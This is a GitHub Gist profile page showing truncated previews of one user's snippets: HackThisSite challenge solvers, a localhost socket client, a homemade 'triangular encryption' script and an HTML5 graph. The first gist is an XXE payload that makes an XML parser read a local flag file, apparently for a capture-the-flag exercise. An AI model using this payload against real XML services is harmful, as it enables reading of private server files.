Skip to content

Instantly share code, notes, and snippets.

Avatar

George Skouroupathis GSkouroupathis

View GitHub Profile
View 1
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE rss [
<!ENTITY xxe SYSTEM "file:///secret/flag.txt" > ]>
<rss>
<channel>
<title>test</title>
<description>test</description>
<entry>
<title>&xxe;</title>
@GSkouroupathis
GSkouroupathis / real6Solver
Created Oct 15, 2013
Solves HackThisSite realistic challenge #6 (www.hackthissite.org/playlevel/6/)
View real6Solver
#HTS realistic challenge 6 BY GEORGE SKOUROUPATHIS
#YOU NEED TO HAVE real6.txt and real6a.txt
openfile1 = open('C:\Python26/programs/real6/real6.txt','r+')
fileList = openfile1.readlines()
newList = range(len(fileList)/3)
index = 0
sum = 0
while index < len(fileList):
sum += int(fileList[index])
if (index + 1)%3 == 0:
@GSkouroupathis
GSkouroupathis / socketClient
Created Oct 15, 2013
Sets up a communication between the server and the client. The server side receives messages and the client side sends it.
View socketClient
#CLIENT.PY BY GEORGE SKOUROUPATHIS
from socket import *
HOST = 'localhost'
PORT = 2333
BUFSIZ = 1024
ADDR = (HOST, PORT)
tcpCliSock = socket(AF_INET, SOCK_STREAM)
tcpCliSock.connect(ADDR)
@GSkouroupathis
GSkouroupathis / prog1Solver
Created Oct 15, 2013
Solves HackThisSites programming challenge #1 (www.hackthissite.org/missions/prog/1/)
View prog1Solver
#HTS programming challenge 1 by GEORGE SKOUROUPATHIS
#YOU NEED TO HAVE inputlist.txt and wordlist.txt
wordlist = []
scrambledlist = []
inputlist = []
finallist = []
wordlistfile = open('C:\Python26\programs\prog1/wordlist.txt', 'r+')
wordlist_n = wordlistfile.readlines()
for word_n in wordlist_n:
@GSkouroupathis
GSkouroupathis / triangularEncryption
Created Oct 15, 2013
Encrypts the plaintext using my very own triangle algorithm.
View triangularEncryption
#TRIANGULAR ENCRYPTION.PY BY GEORGE SKOUROUPATHIS
#Character table size
def set_charsize():
charsize = input("Enter your character table size: ")
if charsize < 95:
charsize = 95
#Create a list with the number of triangles in each row
rows = []
@GSkouroupathis
GSkouroupathis / HTML5graph
Last active Dec 25, 2015
Displays an array of numbers on a line or bar graph.
View HTML5graph
<!DOCTYPE html>
<html>
<head>
<title>HTML5 Hits Graph</title>
</head>
<body style="background:#000;">
<!-- BY GEORGE SKOUROUPATHIS -->
<center>
<canvas id="myCanvas" width="778px" height="340px" style="border:1px solid #333; background:#222;background-position:0 0;">
You can’t perform that action at this time.